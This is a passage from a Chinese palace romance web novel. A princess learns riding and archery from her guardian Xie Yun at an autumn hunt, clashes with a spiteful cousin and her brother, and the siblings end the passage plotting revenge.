叶殊宜拉着她的手,带着歉意道:“我前几日跟我大哥去城外的马场了,今日刚回来。听说你前几日遇袭了,怎么回事?吓死我了。竟有人敢冒充我给你下拜帖,还害得你差点被花盆砸到。查到是谁干的了吗?” 姒华欢摇了摇头:“没有,那人之后就再没动作了,像凭空消失了一样,查不到什么线索。” 叶殊宜蹙起秀眉:“这也太蹊跷了。不过既然出来了,就先别想这些烦心事儿了,交给谢昀去查吧,他肯定有办法。好不容易一年一度的秋猎,可得好好放松放松!” 对于叶殊宜这种好骑射,却整日被困在京城的人来说,秋猎属实是不可多得撒欢玩的好时机。 她眼睛亮晶晶的,拉着姒华欢就要往外走,“走走走,前面靶场可热闹了,好多公子小姐都在那儿呢。我设了个局,比射箭,彩头是我大哥刚弄到手的一匹西域良驹,神气极了,一起去看看!” 听到射箭两个字,姒华欢脸上的笑容淡了几分,下意识地抬手摸了摸自己的心口。 前几日回忆起的上一世被箭射中的场景,还历历在目。 还有几月前,探春宴时,她都没在靶场,还险些被那个笨手笨脚的方世子还是长世子的一箭射中。 她现在惜命得紧,实在不想再去凑那种热闹,自己吓自己。 “我就不去了吧。”姒华欢婉拒道,“你们玩得开心点。” 叶殊宜见她兴致不高,有些遗憾,但也没勉强:“那好吧,你先休息,要是闷了就来找我。” 说着,远处有人高声喊叶殊宜,催促她快些过去。叶殊宜应了一声,风风火火地对姒华欢说:“我得赶紧过去了,那边人都齐了就等我呢。” 谢昀一直在不远处安排护卫事宜,看着她们说话。见姒华欢拒绝了叶殊宜的邀请,独自站在那望着远处热闹的靶场,深情似乎有些落寞,以为她还在为之前的消极情绪所扰,便走了过来。 他看了看南边那片空旷平坦,专用骑乘跑马的草场,心中一动,开口问道:“想不想学骑马?” 学骑马?姒华欢微微一怔。 儿时她见其他人骑马驰骋,也曾缠着父皇想学。可父皇总拿哥哥幼时刚学骑马时不慎摔伤,休养了数月的事情吓唬她,说她身子骨弱,万一摔下来可禁不住。久而久之,她就歇了这份心思。 但此刻看着远处那些纵马欢笑的年轻男女,想到后面几日大队人马进入山林狩猎时,自己只能待在营地里或是远远看着,确实有些无趣。 她若是会骑马,起码可以骑着马跟大队伍一起进林子凑凑热闹,感受一下围猎的气氛。 况且谢昀的骑射功夫在京城是公认一等一的好,据说再烈性的马到了他手里都会变得服服帖帖,有他在旁边护着或许可以一试。 她眼中闪过一次跃跃欲试的光芒,轻轻点了点头:“好。” 姒华欢跟着谢昀来到开阔的马场。 秋日高远的蓝天映衬着远处层林尽染的山峦,草场上的草已微微泛黄,踩上去软硬适中。 远处隐约传来靶场那边的喝彩声,更显得此处空旷宁静。 谢昀牵来了他自己的马,一匹通体乌黑的骏马。他检查了一下马镫的长度,熟练地拍了拍鞍鞯,然后看向姒华欢,示意她上马。 姒华欢看着比自己高出不少的马,深吸一口气,回忆着看别人上马的动作,左脚踩进马镫,双手用力扒住鞍鞯前桥,试图借力翻身上马。 然而她高估了她自己的臂力,也低估了马背的高度。吭哧吭哧努力了半天,怎么也无法把右腿跨过马背。 身后传来一声轻笑,姒华欢回头,看见谢昀正好整以暇地欣赏她笨拙狼狈的姿势,嘴角噙着一抹毫不掩饰的戏谑笑意。 “谢昀!”姒华欢又羞又恼,维持着扒住马鞍的尴尬姿势,气呼呼地瞪他,“你笑什么笑!倒是搭把手啊!” 谢昀笑着伸出双手,稳稳托住她的腰侧,“脚蹬稳,用力。” 他的手掌温热有力,姒华欢只觉得腰间一股沉稳的力道向上一送,轻而易举便将她送上了马背。 居高临下的感觉让她微微眩晕,还没来得及适应高度,就见马旁人影一晃。 谢昀动作利落如行云流水,脚下轻点,一个轻巧的飞身,便已然坐在了她身后! 她的后背几乎完全贴上了他坚实的胸膛,他修长有力的手臂从她腰侧自然而然地穿过,在她身前交叠,握住了缰绳。 这个姿势将她整个人严严实实地圈在了他的怀中,属于他身上独特的白兰香气瞬间强势地将她包裹。 姒华欢浑身一僵,背脊下意识挺直,扭过头,眼睛瞪得圆圆的:“你……你上来做什么?不是说你教我骑马吗?” 谢昀挑了挑眉,俊脸上满是理所当然:“对啊。我不上来,怎么教你?” 他微微低头,就能看到她泛红的耳尖,和因惊愕而微张的唇瓣,手臂不着痕迹地收紧了些,低沉的声音几乎贴着她的耳廓响起:“难道你以为,是让我在下面给你牵马,你坐在上面溜达两圈,就算会骑马了?” 姒华欢:“?” 不是吗?—— 作者有话说:小谢:贴身1v1私教你值得拥有,不收费,纯倒贴 第50章 “你越线了。” 她想象中的, 就是他在下面牵着马,她在马背上慢慢适应,他在一旁口头指导如何控制缰绳和保持平衡。 最多在需要时扶她一把, 让她不会跌落马背…… 怎么会是现在这样, 整个人都被他圈在怀里,紧密相贴?! 早知道是这种“贴身教学”, 她就不学了! 谢昀轻轻一抖缰绳:“坐稳了, 我们先慢慢走一圈。” 马儿在空旷的马场上缓缓行走, 姒华欢浑身僵硬, 尽可能将身体前倾,试图拉开两人间的一点距离。 “放松些。”谢昀的声音在她头顶响起,带着一丝若有若无的笑意, “身体绷得像块石头,怎么能学好骑马?要与马儿的节奏相合。” 他说话时, 暧昧的气息拂过她的耳廓和发丝, 带来一阵细微的酥麻。姒华欢忍不住缩了缩脖子, 耳根更红了。 谢昀眼底笑意更深,故意微微松了松缰绳,让马儿的步伐稍稍加快了一点,颠簸感顿时加剧。 “啊!”姒华欢低呼一声, 身体猝不及防地向后一仰,整个人结结实实撞进了他的怀里, 后脑勺轻轻磕在了他的下颌。 同时, 谢昀圈在她腰侧的手臂收紧,将她牢牢固定在自己怀中。 “谢昀!”姒华欢扭过头瞪他,“你故意的!” “冤枉。”谢昀无辜地眨眨眼,“我只是想让你感受一下小跑的节奏。骑马不能只学走, 总要跑起来的。” 他的话听起来一本正经,可姒华欢总觉得他冠冕堂皇,没安好心。 “来,手放在这里。”谢昀一只手松开了缰绳,覆上了她紧攥鞍鞯的手,引导她一起握住了缰绳,手腕微微转动,示范如何通过缰绳向马儿传递指令。 姒华欢注意力都集中在了学习技巧上,试图不去在意他掌心的温度,他指间的触碰,和他近在咫尺的呼吸。 谢昀操控着马儿,时而稍稍加快,时而转向。每一次微小的变化,都会引来怀中人儿一阵轻晃,然后便是不由自主地更往他怀里缩进一分。 起初姒华欢还会恼怒地瞪他,或者出声抗议,可几次后,她发现抗议无效,而马背上的颠簸也确实让她难以独自完美保持平衡。 渐渐的,她的背不再挺得那么直,身体也在不知不觉中放松了些许,向后面的谢昀靠去。 最后谢昀放缓了马速,让马儿以最平稳的步伐慢行。 “感觉好些了?”谢昀低声问。 “……嗯。”姒华欢应了一声,没有回头看他。但她的身体已经出卖了她,她不再抗拒和他的接触,甚至已经开始有点习惯了。 谢昀的嘴角无声地扬起一个愉悦的弧度,不再逗弄她,只是稳稳地控着马,带着她在马场上慢慢踱步。 秋日的阳光暖融融地洒在两人身上,草地上投下他们共乘一骑的亲密剪影。 有些事,急不得。 就像驯服一批警惕的小马驹,需要耐心,需要技巧,更需要……让她不知不觉习惯他的存在,依赖他。 ***** 夜幕低垂,皇家围猎场的营地区灯火星星点点,与天际疏朗的星辰交相辉映。秋夜的凉意被厚重的帐幔隔绝在外,帐内因燃着炭盆而温暖如春。 姒华欢洗漱完毕,穿这一身素白软缎的寝衣,站在那张足够宽敞的床榻前,陷入沉思。 这几日谢昀以保护她为由,连续宿在她屋中。虽然一个在床上,一个在榻上,但似乎也渐渐习惯了夜间有另一个人的存在。 此刻看着这帐内唯一的一张床,那个盘旋在她心头许久的念头,又冒了出来。 同床共枕……是不是能触发梦境? 不如趁此机会,试上一试? 她深吸一口气,下定决心,动手将床上并排放着的两个枕头拉开些距离,又抱过一床折叠好的锦被,仔细铺在床中间,形成了一条泾渭分明的“楚河汉界”。 谢昀很快也洗漱完毕,发梢还带着些许湿气,衣领微敞,绕过屏风,一眼就看到了床上那条醒目的分界线。 以及坐在床里侧,拿着一本书假装翻阅,实则眼角的余光一直注意着他的姒华欢。 他挑了挑眉,并未多言,朝着那张看起来并不太舒适的美人榻走去,准备像前几晚一样,自觉在那里将就。 “那个,你……你睡外面。” 谢昀的脚步一顿,有些怀疑自己听错了,转头看向床上的人。 他还以为她垒分界线是在防他,没想到…… 谢昀缓步走到床边,看着她泛着淡淡粉色的脸颊,嘴角控制不住地向上扬起,俯身,凑近她,压低的声音里充满了蛊惑般的笑意:“公主殿下,你这是在……邀请我吗?” 给他点笑脸,他就开始嘴贫。 姒华欢被他突然的靠近弄得心头狂跳,一把将书合上拍到谢昀脸上,掀开自己那边的被子,迅速钻了进去,紧紧裹住,只留给他一个后脑勺,扔出一句话:“爱睡不睡!” 谢昀看着她如同鸵鸟般把自己缩起来,欲盖弥彰的模样,眼底的笑意根本藏不住。 他哪里会拒绝?简直是求之不得。 生怕她反悔,他动作利落地吹熄了帐内大部分烛火,照例只留了角落里一盏光线昏黄柔和的小灯,然后走回床边,掀开被子,躺了上去。 瞬间,一股属于男性的,带着沐浴后清新皂角和白兰淡香的气息,侵占了姒华欢那一半的空间。 姒华欢心脏不受控制地开始加速跳动,她抚上心口,试图压下悸动。 他们又没做什么,跳那么快干嘛! “不许越过中间这条线!不然明天你就另寻他处住吧。”她强自镇定,警告谢昀。 谢昀面对她侧躺着,好整以暇地看着她明显紧张的背影,只觉得可爱得紧。 跟小孩子一样,玩什么“楚河汉界”。 他故意拖长语调,似是陷入回忆,给气氛平添几分暧昧:“又不是没一起睡过,何必划得如此清楚?” 姒华欢一听,生怕他再口无遮拦,说出什么更让人面红耳赤地话,赶紧打断他:“闭嘴!再说就滚下去!” 谢昀见好就收,乖乖闭上了嘴,眼神却没离开她的背影。 帐外偶有雷声滚过,帐内则陷入了寂静,只余烛火偶尔爆开的轻微噼啪声。 然而姒华欢根本无法入睡。 身边多了一个存在感如此强烈的男人,她总是不由回忆起那晚,努力控制自己不去乱想那桃色画面。 她像条煎鱼一样在床上翻来覆去,试图找到一个舒适入睡的姿势,却怎么都觉得不对劲。 就在她又一次烦躁地翻身,面朝谢昀方向时,一直安静闭着眼的男人忽然低声开口:“睡不着吗?” 姒华欢睁开眼,猝不及防地撞入一双在昏暗中深邃明亮的眼眸中。 不知道什么时候,她竟翻到了面对他的姿势! 两人之间的距离,因为她的翻动,已然无限接近“楚河汉界”。 好近。 近到她能借着昏黄的灯光,看清他鼻梁上的小痣,和眼尾处浅浅的一小块白色疤痕。 她被那颗小痣吸引了,忽然觉得它长得很妙。 偏白的皮肤上一点褐色,让人一眼便注意到他高挺的鼻子,眼神往上移是漂亮的桃花眼,眼神往下移是好看的嘴唇,整张俊脸上每一处都是无可挑剔的完美。 姒华欢呆呆地看了一会儿。不知为何,仅仅一颗小痣就很……诱人。 反应过来自己在想什么,她往后滑了滑拉开距离,立刻又紧紧闭上了眼睛:“睡着了。” 又是此地无银三百两。谢昀失笑。 “害怕打雷?”谢昀问。 姒华欢:“……不怕。” 她才不怕打雷,就是很不习惯这种奇怪的氛围。 黑暗中,感官变得更加敏锐,她感觉到有一只手轻轻落在了她散在枕边的乌发上。 他手指修长,动作异常温柔,并没有做更多,只是手指穿过发丝,一下下摩挲着她的发梢。像在把玩一件珍宝,充满了耐心与亲昵。 那触感,像是羽毛轻扫心尖,带来一阵难以言喻的酥麻。 姒华欢心脏漏了一拍,一动也不敢动。 时间在僵持中被无限拉长,她实在忍不住说:“不用管我……你睡你的。” 谢昀手上的动作微微一顿,随即,他令人心安的低沉声音响起:“没事。” 姒华欢只觉得腰间一紧,他那只原本在摩挲她头发的手臂,转而揽住了她的腰,将她整个人往他的方向一带! 她完全来不及反应,便已被他结结实实拥入了怀中。 额头抵着他温热的胸膛,隔着薄薄的寝衣,能清晰的感受到他胸膛的宽阔、肌肉的结实,上下起伏的频率,以及胸腔中强而有力的心跳声。 扑通、扑通…… 那声音与她自己狂乱的心跳声交织在一起,急促,响亮,分不清彼此。 全身的血液都涌向了头部,让人大脑一片空白,无法思考。 也忘记了挣扎,忘记了推开他。 就这样不知过了多久,也许只是几个呼吸的时间,也许更长,残存的一丝理智终于艰难地占了上风。 这似乎不太对吧…… 于是姒华欢动了,慢慢从谢昀的怀抱中挪出。谢昀察觉到她的动作,环着她的手臂松了些力道,似乎并不想强迫她。 “你越线了。”姒华欢低声说。 她伸出手,想要将他依旧环在她腰间的手臂轻轻移开。 然而,那只大手倏然翻转,顺势向下,温热的手掌精准地覆上了她试图推开他的小手,牢牢地握住。 他的手掌宽厚而温暖,完全将她的手包在掌心,力道不轻不重,有些强势。 姒华欢像被施了定身咒,一动也不敢动。 谢昀没有进一步动作,只是这样握着她的手。 她也没有再试图将手抽走,在最初的震惊和僵硬过后,竟也不可思议地慢慢放松了下来。 那紧密相握的手,传来源源不断的温热,似乎带着某种安定的能力,奇异地抚平了她之前纷乱的心绪。 困意如同温柔的潮水,终于缓缓涌上,将她包裹。 而睡在她身侧的谢昀,在听到她呼吸逐渐变得均匀绵长之后,于黑暗中缓缓睁开了眼睛。借着帐外透进的微弱月光,凝视着她恬静的睡颜,目光温柔得能滴出水来。 他静静看着两人交握的手,和手下面的那条“楚河汉界”,唇角扬起一个心满意足的弧度。 有些界限,一旦越过,便再也回不去了。 来日方长。 ***** 一夜无梦。 这对许多人来说都是好事,但对姒华欢不是。 她绝望地坐在床上,看着屏风后正在换衣服的身影。 难道,只能豁出去试试最后的法子了吗?—— 作者有话说:试试吧试试吧[捂脸偷看]《 》 50-60 第51章 心里惦记着姒华欢 秋猎第二日, 天光大亮,号角长鸣,声震四野。 皇帝身着戎装, 率文武百官及宗室子弟至预先设好的祭坛前, 焚香祷告天地山神,以感谢上天赐予的丰饶, 祈求狩猎顺利、武运昌隆、国泰民安。 祭天完毕, 皇帝接过内侍奉上的弓箭, 目光扫过台下整齐列队的骑兵与跃跃欲试的年轻儿郎女娘们, 沉声道:“秋狩以讲武事,习骑射,扬我国威望, 诸卿奋勇当先,各展所能!” 说罢, 他张弓搭箭, 射向远处早已备好的一头鹿, 宣告狩猎正式开始。 早已安排好的禁军骑兵分成数队,手持彩旗,呼喝着驱赶预先围拢在一定区域内的鹿、獐、狐、兔等猎物。 王公贵族、文武百官及其子弟们纷纷翻身上马,手持弓箭, 兴奋地策马冲入指定的猎区山林之中,马蹄声如雷鸣般响起, 尘土飞扬, 声势浩大。 姒华欢站在营地望着奔腾而去的人马洪流,心中虽有一些向往但自知骑术尚浅,射艺更是一窍不通,冒然跟进去徒增危险。 她看了一会儿, 心中一动,转身去了马场。 马场的管事恭敬地牵出一匹精心挑选的母马。这匹马与谢昀的马看起来很像,亦是通体乌黑,只在额间有一撮菱形的白毛,体型较小,皮毛顺滑如水。 “殿下,这是侯爷特意为您选的马墨玉,性子是最温顺不过的。” 算他有心。 姒华欢在姚黄的帮助下,比昨日熟练了些许,踩着马镫,费力但总算靠自己爬上了马背。 由姚黄牵着缰绳,领着她在马场里慢悠悠地走了两圈,待觉得稳当了些,便大着胆子让姚黄松开了手。 姒华欢小心翼翼夹紧马腹,轻轻抖了抖缰绳:“走。” 墨玉听话地迈开步子,由走变为了小跑。 风迎面吹来,拂动她的发丝和衣袂,带来无拘无束的自在感,视野随着马匹的奔跑而微微起伏晃动,周围的景物向后飞跃。 这种感觉新奇又刺激,远比坐在马车里或被人牵着走要畅快的多。 姒华欢心中欢喜,觉得照这个进度,说不定明天就能跟着大家一起骑着马进林子外围转转了。 等等,光会骑马还不行,还得会射箭啊…… 她决定明天去找叶殊宜,让她教教自己箭术,不求百步穿杨,只要能拉开弓把箭射出去就行。 她正沉浸在自己很快就能文武双全的美好憧憬中,未留意到马场边缘,不知何时多了两个人。 一道尖细带着明显讥诮的声音突兀响起:“哟,我当这是谁呢?跟叶殊宜那种野丫头混久了,堂堂公主也变得这般粗鲁起来。康乐,你在这马场上做什么呢?遛马呢?啧啧,太仆寺是没人可用了吗?竟要劳烦公主亲自做这种粗活。” 姒华欢勒马,循声望去。只见长宁郡主穿着一身繁复华丽的衣裙,摇着扇子,一脸鄙夷地看着她,旁边一如既往跟着林妙晴。 姒华欢驭马走到她们面前,坐在高高的马背上,居高临下地俯视着她们:“听你这意思是瞧不起将门之后了?父皇年年举办秋猎,意在不忘武备,崇尚勇力,与臣同乐。你这般说辞,莫非是觉得父皇此举粗鲁不当?不如本公主现在就带你去父皇面前,好好分说分说。” 她这一顶大帽子扣下来,长宁被堵得脸色一阵青一阵白。她哪里敢担上看不起武将,质疑圣上的罪名? 长宁张了张嘴想反击,却不知从何说起。 马场不止她们三人,其余人目光纷纷投向她们,个个都是看热闹的眼神。 长宁一时语塞,只能气急败坏地将目光投向身旁的林妙晴。 林妙晴接到她的目光,上前一步,脸上挂着无可挑剔的笑容,对马背上的姒华欢微微屈膝行礼,声音柔柔道:“公主殿下息怒,长宁郡主心直口快,绝无轻视陛下之意。秋猎盛事,自是各得其乐,殿下喜欢骑射,亦是雅事。” 她三言两语八面玲珑地打了圆场,让人挑不出一点错处。 姒华欢懒得与林妙晴虚与委蛇,翻身下马,将缰绳递给一旁的姚黄,走到林妙晴面前,似笑非笑地看着她:“林小姐这张嘴,真是死的都能说成活的。” 林妙晴脸上的笑容僵了一下,马上恢复自然,微笑道:“公主说笑了,妙晴只是实话实说。” 长宁被姒华欢怼得一肚子火没处发,看姒华欢从容讽刺林妙晴,让她们两个双双吃瘪,更是怒火中烧。 “姒华欢你少在这牙尖嘴利!我看你就是欠教训!” 说着,就像是气昏了头,冲上前几步,伸手就来抓姒华欢的衣袖,看架势是想动手。 就在这时,不知怎么回事,原本温顺安静的墨玉突然有些急躁地打了个响鼻,前蹄不安地刨了刨地。就在长宁冲过来时,猛地扬起后蹄,向后一撂! “砰!”一声闷响。 那一蹄子不偏不倚,正踹在长宁的胸口。 “啊——!” 长宁发出一声凄厉的惨叫,整个人被踹得向后倒,飞出去一小截,重重摔在草地上。她蜷缩着身体,脸色瞬间惨白如纸,额头上冷汗涔涔,痛苦地呜咽着。 “郡主!”林妙晴大惊失色,慌忙扑上前去。 周围的侍女仆从也都吓傻了,一时间慌乱起来,有人想去扶长宁,有人急着想去禀报,乱作一团。 姒华欢也被这突如其来的变故惊得愣了一下。 看着长宁狼狈痛苦的模样,回想起她刚才那副嚣张跋扈,还想动手的嘴脸,一个没忍住,“噗嗤”一声笑了出来。 姒华欢往前走了几步,伸手轻轻抚摸着摸墨玉光滑的脖颈,凑到它耳边,笑道:“好墨玉,干得漂亮,晚上给你加餐。” 长宁疼得浑身发抖,模糊间听到姒华欢的笑声和她这句话,更是气得眼前发黑,挣扎着想抬头骂她,还有那个不长眼的畜生。 结果一个急火攻心,眼睛一翻,晕了过去。 林妙晴看着晕死过去的长宁,又看看脸上写着“自作孽不可活”的姒华欢,脸色变得极其难看,却不敢多说什么,只能焦急地指挥着下人把长宁带回营地。 姒华欢好整以瑕地看着这些人慌乱,心情好了几分。 活该。 ***** 午后阳光正好,山林间的狩猎仍在继续。 谢昀并未参与下午的狩猎,心里惦记着独自留在营地的姒华欢,回到了营地。 帐内,姒华欢正百无聊赖地翻着一本游记,听到脚步声,抬起头,便见谢昀逆光走了进来,高大的身影几乎挡住了帐门的光线。 “你怎么回来了?” 狩猎比的是谁猎得的猎物多,或是谁猎得的猎物更凶猛,大多都在太阳落日前方回到营地,将猎得的猎物交由专人清点,登记在册。 他怎么半天就回来了? 谢昀走到她面前,没有提及自己在林中猎到了什么猛兽,也没有说自己收获颇丰,反而打量了她一眼,问道:“一个人在帐里闷不闷?” 姒华欢撇撇嘴:“还好。” 年年如此,她早习惯了。 谢昀唇角微勾,神神秘秘道:“跟我来。” “干什么?”姒华欢嘴上不情不愿地问着,身体却站了起来,跟着他向外走的脚步泄露了她的好奇。 怕她觉得无聊,谢昀特意带着亲卫在林子的外围转了一圈,猎了些山鸡野兔,甚至还捉到了一只毛色火红的小狐狸。这些都不是什么猛兽活蹦乱跳,适合逗趣。 他让人用木栅栏临时围起一小块空地,将这些小动物放了进去。 谢昀拿着一把明显是特制的,弓身小巧分量颇轻的弓,走到姒华欢身边。 “喏。”谢昀将弓递了过去,又指了指那片小小的围场,“怕你闷,给你找了些活靶子玩玩。这把弓力道轻,你应该拉得开。” 姒华欢看了看那把明显是给半大不大孩子用的弓,又看了看木栅栏里那些无处可逃的小动物,好笑道:“我又不是三岁稚童了,玩这种圈起来射着玩的把戏。” 话虽这么说,她还是被那把做工精细的小弓吸引,但心里还是有些毛毛的,被一箭穿心的阴影尚存。 谢昀哪里看不出她的口是心非,直接将弓塞进她的手里,又递上去了一支箭:“试试看,就当活动筋骨,总比你干坐着有趣。” 脚边的焦焦显而更兴奋,围着木栅栏外围跑了一圈又一圈,兴奋地想跟里面的小动物们一起玩,却把栅栏里的小动物吓得挤作一团。 姒华欢接过弓和箭走到木栅栏前几步远的位置,搭箭上弦,用力拉开弓。 这弓果然很轻,她稍稍费了点力气就拉了个满月。 她瞄准栅栏里一只瑟瑟发抖的灰毛野兔,屏住呼吸,手指一松—— 那支箭软绵绵地飞了出去,离那只野兔还有老远的距离,就轻飘飘落在了草地上,连根兔毛都没碰到。 姒华欢:“……” 谢昀站在她身侧,忍俊不禁,从喉间溢出一声低笑。 姒华欢脸颊微热,瞪向谢昀:“笑什么?第一次射,能射出去就不错了,你难道是生下来就会射箭吗?” “是是是,公主殿下天赋异禀,第一次就能张开弓,已是了不得。”谢昀嘴上恭维着,眼里的笑意却更深了,走上前又递给她一支箭。 “手腕再稳一些,别抖。眼睛看着目标,感觉弓弦与手臂成一条线再松手。” 姒华欢哼了一声,接过箭再次尝试。这次箭倒是飞向了野兔的方向,却“咚”一声扎在了野兔旁边的木栅栏上。 “哎呀!差一点儿!”她懊恼地跺了跺脚。 谢昀在一旁继续递箭,姒华欢接过再次尝试,铆足了劲儿,弓是拉得更开了一些,可放箭的时机没掌握好,箭插在了空地上。 一连射了七八箭,结果不是射空就是射偏,姒华欢有些气馁,小脸垮了下来。 看到这副沮丧的模样,谢昀走到她身后,伸出左手轻轻覆在她握着弓身的手上,另一只手则绕过她的身体,握住了她引弦的右手,带着她缓缓将弓拉开到一个标准的角度。 姒华欢整个人几乎都被谢昀纳入怀中,温热的气息拂过她的脖颈。 经过昨日,她都没察觉到,自己居然已经对谢昀如此近距离的接触有些习惯了。 她现在只专心致志地盯着山鸡,心无杂念。 “目视前方,看向你的目标,不是箭。”谢昀的声音很近,“呼吸放平稳,肩膀放松。对,就是这样,稳住,放。” 随着他最后一个字落下,他握着她的右手稍稍一松。 “咻——” 这一次,箭矢带着比之前强劲得多的力道,笔直地飞向目标,精准地落在了最肥的山鸡身上。 山鸡受惊,“咯咯”大叫着扑腾了两下才死,弄得圈内一阵鸡飞兔跳。 “中了!我射中了!”姒华欢惊喜地叫出声,完全忘了身后还贴着个人,下意识就想转身,额头却不小心撞到了谢昀的下巴。 “唔……”两人同时闷哼一声。 姒华欢连忙后退两步,揉着自己的额头,眼圈迅速红了:“你的下巴是铁做的吗!” 谢昀揉了揉自己的下巴,好笑道:“我长得高,怪我咯?” 突然,一名侍卫有事来找谢昀,谢昀暂时走开,姒华欢再次拿起箭,想要靠自己试一次。 然而这支箭又很不争气地射歪了。 就在这时,一个充满讥讽的声音响了起来:“呦,我当是谁在这玩过家家的把戏呢,原来是康乐公主啊。怎么,进不了林子打真正的猎物,只能在这拿这些圈起来的走禽找存在感了?” “你这准头,呵呵,怕是连三岁孩童都不如。你若是喜欢射箭,何不找几个伶俐的太监宫女,扮作兔子山鸡在前面跑,说不定还能增添几分趣味,射中的机会也会大些。哪怕是用真箭去射也无所谓,让他们配合你就是。” 姒华欢的好心情瞬间被破坏,蹙眉转头。 来人正是长宁的胞弟,晋王世子——姒明渊。 他年纪不大,性子却学足了他姐姐的刻薄蛮横,此刻正带着几个跟班,一脸看好戏的表情站在那里,显然是听说了上午马场的事,故意来找茬的—— 作者有话说:蠢猪来也 第52章 焦焦……焦焦它不见了!…… 姒华欢冷冷看向姒明渊:“我当是谁在此犬吠, 原来是你,倒也不稀奇了。” “你!”到底还是年纪小,好面子, 想在跟班面前逞能, 姒明渊梗着脖子,阴阳怪气道:“怎么, 我说错了吗?秋猎本是男儿彰显勇武之时, 你在此玩这种孩童把戏, 简直是给皇家丢人!” “丢人?”姒华欢气笑了, 毫不客气地回怼,“我看只有像你这般躲在人后,只知逞口舌之快的小人才是真的丢人。” “空着手从林子里出来, 想必你是勇武过头了,把猎物都吓跑了吧?还是说, 你连只兔子都没撵上?” 她语速极快, 声音清脆, 字字如刀,刀刀砍在姒明渊痛处。 他今日确实运气不佳,忙活半天一无所获,正憋着一肚子火。 姒明渊脸一红, 嘴硬道:“你,你胡说什么!我那是没遇到像样的猎物!你以为都跟你一样猎点山鸡野兔就拍手叫好了吗?” “哦?”姒华欢挑眉, 学着他刚才那阴阳怪气的调子, “原来是眼光太高,看不上山鸡野兔啊。那你今日猎到了什么猛虎黑熊,也让本公主开开眼?” “我……”姒明渊语塞,他哪有那个本事猎到什么猛兽。 姒华欢扫过他那几个同样没什么收获的跟班, 冷笑一声:“依本公主看,你与其有闲工夫在这里嚼舌根,不如再去林子里碰碰运气,说不定还能捡到只自己撞了树的傻兔子,也好过在这丢人现眼。” 姒明渊被她挤兑得哑口无言,脸上一阵红一阵白,周围一些被动静吸引来的官家子弟小姐们也忍不住发出低低的窃笑声。 姒明渊只觉得脸上火辣辣的,哪里受过这等羞辱,还当着这么多人的面。 尤其是在自己的跟班们面前,被一个女子如此奚落,更是觉得颜面尽失,气得浑身发抖,指着姒华欢,却想不出更有力的反驳之词。 他脱口而出:“你,你放肆!” 姒华欢脸上的笑容瞬间收起,厉声道:“放肆二字也是你在本公主面前能说的!看来你姐姐是好利索了,你皮痒了,也想来讨一顿踢是吗?” “我就知道你是故意的!”姒明渊大叫起来,“我要去告诉父王,让父王告诉皇叔,狠狠治你的罪!” 姒华欢实在忍不了他的聒噪了,对着脚边的焦焦道:“焦焦,咬他!” “汪!”焦焦立刻领命,朝着姒明渊飞了过去。 “康乐!你……你给本世子等着!” 姒明渊憋了半天,只憋出这么一句毫无威慑力的话,狠狠瞪了姒华欢一眼,再也呆不下去,在一片隐隐的嘲笑声中,带着跟班灰溜溜地跑开了。 看着他吃瘪,逃似的身影,姒华欢心情大好,轻轻哼了一声,朝刚回来的谢昀扬了扬下巴。 谢昀走上前,眼底带着毫不掩饰的欣赏和笑意:“公主殿下风采依旧啊。” 姒华欢嫌恶道:“嘴贱又没本事的小男孩,最让人讨厌了。” 谢昀失笑:“你只比他大两岁。他今年都十五岁了,不算小男孩了吧?” 姒华欢看着谢昀沉思:“你十五岁的时候是不是也这样来着?” 她有点记不起来了。严格来说,十五岁的谢昀据她的记忆,已经是八年前了。 谢昀一时语塞,嫌弃道:“别拿他和我相提并论。” ***** 帐内,长宁正脸色苍白地躺在床上,一动不敢动。 太医来看过,万幸那一蹄子没踹到要害,未伤及肺腑,但有两根胁骨被踹得轻微骨裂了,只能像现在这样平躺着,靠身体自行慢慢愈合,稍一动弹就痛得钻心。 姒明渊捂着火辣辣刺痛的屁股,一瘸一拐冲进了长宁的营帐,见到长宁就嚎了起来:“姐!姐!你要给我做主啊!康乐那个贱人放狗咬我的屁股!” 听到弟弟的哭嚎声,长宁下意识就想撑起身子去看,刚抬起一点,胸口立刻传来一阵剧烈的疼痛,让她瞬间倒抽一口冷气,只得无力跌躺回去。 “你说什么?康乐放狗咬你!?”长宁忍着痛,声音都变了调。 康乐竟敢如此嚣张! “千真万确!”姒明渊哭丧着脸,挪到床边,又不敢坐,只能站在一旁,指着自己的屁股,“牙印还在呢!要不是我跑得快,都要被那畜生撕下一块肉来!姐,这口气我咽不下!我这就去告诉父王,让父王为我们做主!” “慢着!”长宁急忙喝止,因为动作太大又牵扯到伤处,疼得她呲牙咧嘴,缓了好一会儿。 她比姒明渊看得明白得多,父王平日里最看重兄友弟恭的贤王名声,到嘉平帝面前,每次都说什么只是小孩子玩闹,家和万事兴。 他去告状,父王最多也就是不痛不痒地说上康乐几句,说不定父王为了平息事端,反而还要他们忍气吞声。 到时候,他们姐弟的脸面才真是丢尽了,康乐反而会更加得意。 “告状有什么用,父王哪里能罚她一个公主?” “那,难道就这么算了?”姒明渊愤愤道,“岂不是让那贱人看尽笑话,出尽风头?” 长宁眼中闪过一丝阴险的光,她压低声音,因为疼痛而显得有些气弱,但话中的恶毒丝毫不减:“康乐不是正在学骑马吗?怕是过不了两日,就要跟着进山林里凑热闹了。” 姒明渊眼睛一亮:“姐,你的意思是……” 长宁嘴角勾起一抹阴冷的笑:“那山林里头,树木繁茂,地势复杂,谁知道会出什么‘意外’呢?马儿受惊,摔下悬崖,或者不小心被流箭所伤……到时候,谁能说得清楚?” 姒明渊顿时明白了姐姐的意思。在营地,众目睽睽之下,他们不好动手。但进了那莽莽山林,机会就多了! 他越想越觉得姐姐计谋高明,兴奋地搓搓手,连连点头:“对对!姐你说得对!进了林子,看我怎么教训她!定要让她比我现在惨十倍!百倍!” 说完,又揉了揉持续刺痛的屁股,恶狠狠道:“还有今日咬我那该死的畜生,也一并找机会弄死!非把那畜生的牙一颗颗敲下来不可!” 姐弟二人对视一眼,都在对方眼中看到了浓浓的恨意,和即将报复的快感。 ***** 秋高气爽,碧空如洗。 营地前方的一片,特地平整出的巨大空地上,一座装饰华丽,视野开阔的高台依势而建,嘉平帝与后宫高位妃嫔、宗室亲王等已然在坐,正含笑俯瞰下方。 今日这场由嘉平帝亲自组织的骑射比试,可算是秋猎期间最受瞩目的盛事之一。 皆因这比试的获胜意义非凡。获胜者不仅能得到丰厚的赏赐,还无异于得了武状元般的尊容,极得皇帝青眼。 更重要的是大越有一个不成文的传统,许多家中有待嫁女儿的人家都等着在比试结束后,若胜出者或名列前茅者,家世和模样过得去,便会主动上前结交,颇有几分榜下捉婿的热闹。 